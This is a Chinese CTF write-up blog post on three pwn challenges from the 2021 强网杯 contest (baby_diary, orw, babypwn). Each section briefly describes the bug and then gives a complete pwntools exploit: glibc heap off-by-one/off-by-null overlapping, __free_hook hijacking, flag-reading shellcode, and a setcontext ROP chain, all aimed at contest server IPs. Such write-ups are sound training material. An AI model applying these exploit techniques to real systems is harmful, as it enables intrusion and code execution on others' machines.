Loading... 强网杯这次我总共做了 3 道比较简单 pwn 题,还有三道题目学长做了,之后看情况复现一下。剩下 7 道基本上不会,还是需要继续学习 ### baby_diary 这道题就是 2.29+ libc 的 unlink 利用,详细的利用方法可以参见 [CTF-WIKI](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#libc-229) 和这篇 [WP](https://www.cjovi.icu/WP/1290.html)(无耻地推销一下,两篇都是我写的 ^_^) 对于本题而言,主要的漏洞就是读取输入后,sub_1528 会对输入的后一位进行 `v2[a2 + 1] = (v2[a2 + 1] & 0xF0) + sub_146E(idx);` 的操作,造成 off-by-one。通过构造输入可以修改后一个 chunk 的 size 位,也就是可以向低地址合并实现 chunk overlapping。 不过 2.31 的 unlink 加入了对 chunk 的相邻判断,所以需要用 largebin 的 fd_nextsize 和 bk_nextsize 来辅助。由于读取输入的方式,需要爆破堆地址中的 8 位,1 / 256 的概率。 overlapping 之后 tcache 打 __free_hook 即可 exp: ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' libc = ELF("./libc-2.31.so") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def write_diary(size, payload): sh.sendlineafter(">> ",'1') sh.sendlineafter("size: ",str(size)) sh.sendafter("content: ",payload) def read_diary(idx): sh.sendlineafter(">> ",'2') sh.sendlineafter("index: ",str(idx)) def delete_diary(idx): sh.sendlineafter(">> ",'3') sh.sendlineafter("index: ",str(idx)) for i in range(256): try: #sh = process("./baby_diary") sh = remote("8.140.114.72","1399") write_diary(0x3D60 + 0x50, 'align\n') # 0 write_diary(0x4A0, 'large bin\n') # 1 write_diary(0x20, 'leak\n') # 2 write_diary(0x20, 'off-by-one next chunk\n') # 3 write_diary(0x4E0, 'off-by-oned\n') # 4 write_diary(0x20, 'protect\n') # 5 delete_diary(1) write_diary(0x500, 'push\n') # 1 delete_diary(3) write_diary(0x27, '\x00' * (0x27)) # 3 delete_diary(3) write_diary(0x20, '\x05' + '\x00' * 0x1F) # 3 write_diary(0x27, '\x0F'.ljust(8,'\x00') + p64(0x501) + '\x78\n') # 6 write_diary(0x27,'pass\n') # 7 write_diary(0xF7,'up\n') # 8 write_diary(0x27,'pass\n') # 9 write_diary(0x27,'pass\n') # 10 write_diary(0x27,'pass\n') # 11 write_diary(0x27,'pass\n') # 12 for i in range(7): write_diary(0x27,'tcache\n') # 13 - 19 for i in range(13, 20): delete_diary(i) delete_diary(7) # statsh delete_diary(12) delete_diary(6) for i in range(7): write_diary(0x27,'tcache\n') # 6 7 12 13 14 15 16 write_diary(0x27, '\x60\n') # 17 write_diary(0x27, '\x60\n') # 18 delete_diary(4) write_diary(0x120, '\n') # 4 write_diary(0x140, '\n') # 19 read_diary(9) sh.recvuntil("content: ") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60 __free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] log.success("libc_base: " + hex(libc_base)) delete_diary(10) write_diary(0x60,p64(0) * 5 + p64(31) + p64(__free_hook) + '\n') # 10 write_diary(0x27,'/bin/sh\x00\n') # 20 write_diary(0x27,p64(system) + '\n') # 21 delete_diary(20) sh.sendline("echo pwn!") sh.recvuntil("pwn!") sh.sendline("cat flag") sh.interactive() except: sh.close() ``` ### [强网先锋]orw 在函数 sub_D8E 中,size == 0,时可以无限溢出。而 idx 可以负数,可以对 bss 段任意写。 同时堆栈可执行,又是 partial reload,所以通过负数 idx 改个 got,直接 shellcode orw 即可 ```python= from pwn import * context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' #sh = process("./pwn") sh = remote('39.105.131.68','12354') sh.sendlineafter(">>\n", '1') sh.sendlineafter("index:\n",'-25') sh.sendlineafter('size:\n','0') payload = '' payload += 'mov rax,0x67616c662f2e;' payload += 'push rax;' payload += 'mov rdi,rsp;' payload += 'mov rax,2;' payload += 'mov rsi,0;' payload += 'mov rdx,0;' payload += 'syscall;' payload += 'mov rax,0;' payload += 'mov rdi,3;' payload += 'mov rsi,rsp;' payload += 'mov rdx,0x40;' payload += 'syscall;' payload += 'mov rax,1;' payload += 'mov rdi,1;' payload += 'mov rsi,rsp;' payload += 'mov rdx,0x40;' payload += 'syscall;' sh.sendlineafter('content:\n', asm(payload)) sh.sendlineafter(">>\n", '4') sh.sendlineafter('index:\n','0') sh.interactive() ``` ### babypwn 在 sub_EB1 函数中会按字节遍历输入,并将第一个值为 0x11 的字节置零,所以可以 off-by-null。 然后又加了 seccomp 禁了 execve 所以思路就是先 off-by-null 做个低地址合并然后打 __free_hook setcontext 栈迁移 orw。 leak 可以通过 show 函数进行。高 32 位穷举 4 位即可,低 32 位穷举 28 位,大概穷举一百万次即可实现 leak。 exp: ```python= from pwn import * from z3 import * from ctypes import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./babypwn") sh = remote("39.105.130.158",8888) libc = ELF("./libc.so.6") def add(size): sh.sendlineafter(">>> \n",str(1)) sh.sendlineafter("size:\n",str(size)) def delete(idx): sh.sendlineafter(">>> \n",str(2)) sh.sendlineafter("index:\n",str(idx)) def edit(idx, payload): sh.sendlineafter(">>> \n",str(3)) sh.sendlineafter("index:\n",str(idx)) sh.sendafter("content:\n",payload) def show(idx): sh.sendlineafter(">>> \n",str(4)) sh.sendlineafter("index:\n",str(idx)) def count(chip_int32,guess_val,shift): counter = 0 while(1): a = guess_val + (counter << shift) for i in range(2): a^=((((32*a) & 0xFFFFFFFF)^((a^((32*a) & 0xFFFFFFFF))>>17)^((((32*a) & 0xFFFFFFFF)^a^((a^((32*a) & 0xFFFFFFFF))>>17))<<13)) & 0xFFFFFFFF) a &= 0xFFFFFFFF if (a == chip_int32): break counter += 1 if (guess_val > 0xFFFFFFFF): print "fuck" break return guess_val + (counter << shift) for i in range(8): add(0x1F8) edit(7,'\x00'.ljust(0x1F0,'\x00') + p64(0x1D0)) add(0x28) # 8 add(0x28) # 9 add(0x28) # 10 add(0x28) # 11 add(0x28) # 12 add(0x200) # 13 add(0x28) # 14 protect for i in range(7): delete(i) add(0x1F8) # 0 show(0) chip_low = int(sh.recvuntil('\n',drop = True), base = 16) chip_high = int(sh.recvuntil('\n',drop = True), base = 16) log.success("chip_low:" + hex(chip_low)) log.success("chip_high:" + hex(chip_high)) heap_addr_low = count(chip_low, 0x6B0, 12) heap_addr_high = count(chip_high, 0x5500, 0) heap_base = heap_addr_high << 32 | heap_addr_low - 0x16B0 log.success("heap_base: " + hex(heap_base)) delete(0) # wait for decrypt delete(7) add(0x28) # 0 show(0) chip_low = int(sh.recvuntil('\n',drop = True), base = 16) chip_high = int(sh.recvuntil('\n',drop = True), base = 16) log.success("chip_low:" + hex(chip_low)) log.success("chip_high:" + hex(chip_high)) libc_addr_low = count(chip_low, 0xE90, 12) libc_addr_high = count(chip_high, 0x7F00, 0) libc_addr = libc_addr_high << 32 | libc_addr_low log.success(hex(libc_addr)) libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x250 log.success("libc_base: " + hex(libc_base)) pop_rdi_ret = p64(libc_base + 0x2155F) pop_rsi_ret = p64(libc_base + 0x23E6A) pop_rdx_ret = p64(libc_base + 0x1B96) open_addr = p64(libc_base + libc.sym["open"]) read_addr = p64(libc_base + libc.sym["read"]) write_addr = p64(libc_base + libc.sym["write"]) setcontext = p64(libc_base + 0x520A5) __free_hook = p64(libc_base + libc.sym["__free_hook"]) flag_addr = heap_base + 0x1C60 + 0xE8 orw_chain = '' orw_chain += pop_rdi_ret + p64(flag_addr) orw_chain += pop_rsi_ret + p64(0) #orw_chain += pop_rdx_ret + p64(0) orw_chain += open_addr orw_chain += pop_rdi_ret + p64(3) orw_chain += pop_rsi_ret + p64(heap_base + 0x100) orw_chain += pop_rdx_ret + p64(0x40) orw_chain += read_addr orw_chain += pop_rdi_ret + p64(1) orw_chain += pop_rsi_ret + p64(heap_base + 0x100) orw_chain += pop_rdx_ret + p64(0x40) orw_chain += write_addr payload = orw_chain + './flag\x00' payload = payload.ljust(0xA0, '\x00') payload += p64(heap_base + 0x1C60 - 0x10) + p64(libc_base + 0x221a2) # 0xB0 payload += p64(0) * 4 payload += pop_rdi_ret payload += p64(0x31) + __free_hook + './flag.txt' print hex(len(payload)) edit(13,'a'.ljust(0x1F8,'a') + p64(0x41)) edit(12,'a' * 0x28) edit(12,p64(0) * 4 + p64(0x2C0)) delete(13) delete(11) add(0x170) # 1 add(0x200) # 2 edit(2, payload) add(0x28) # 3 add(0x28) # 4 edit(4, setcontext) delete(2) sh.interactive() ``` 最后修改:2021 年 07 月 19 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧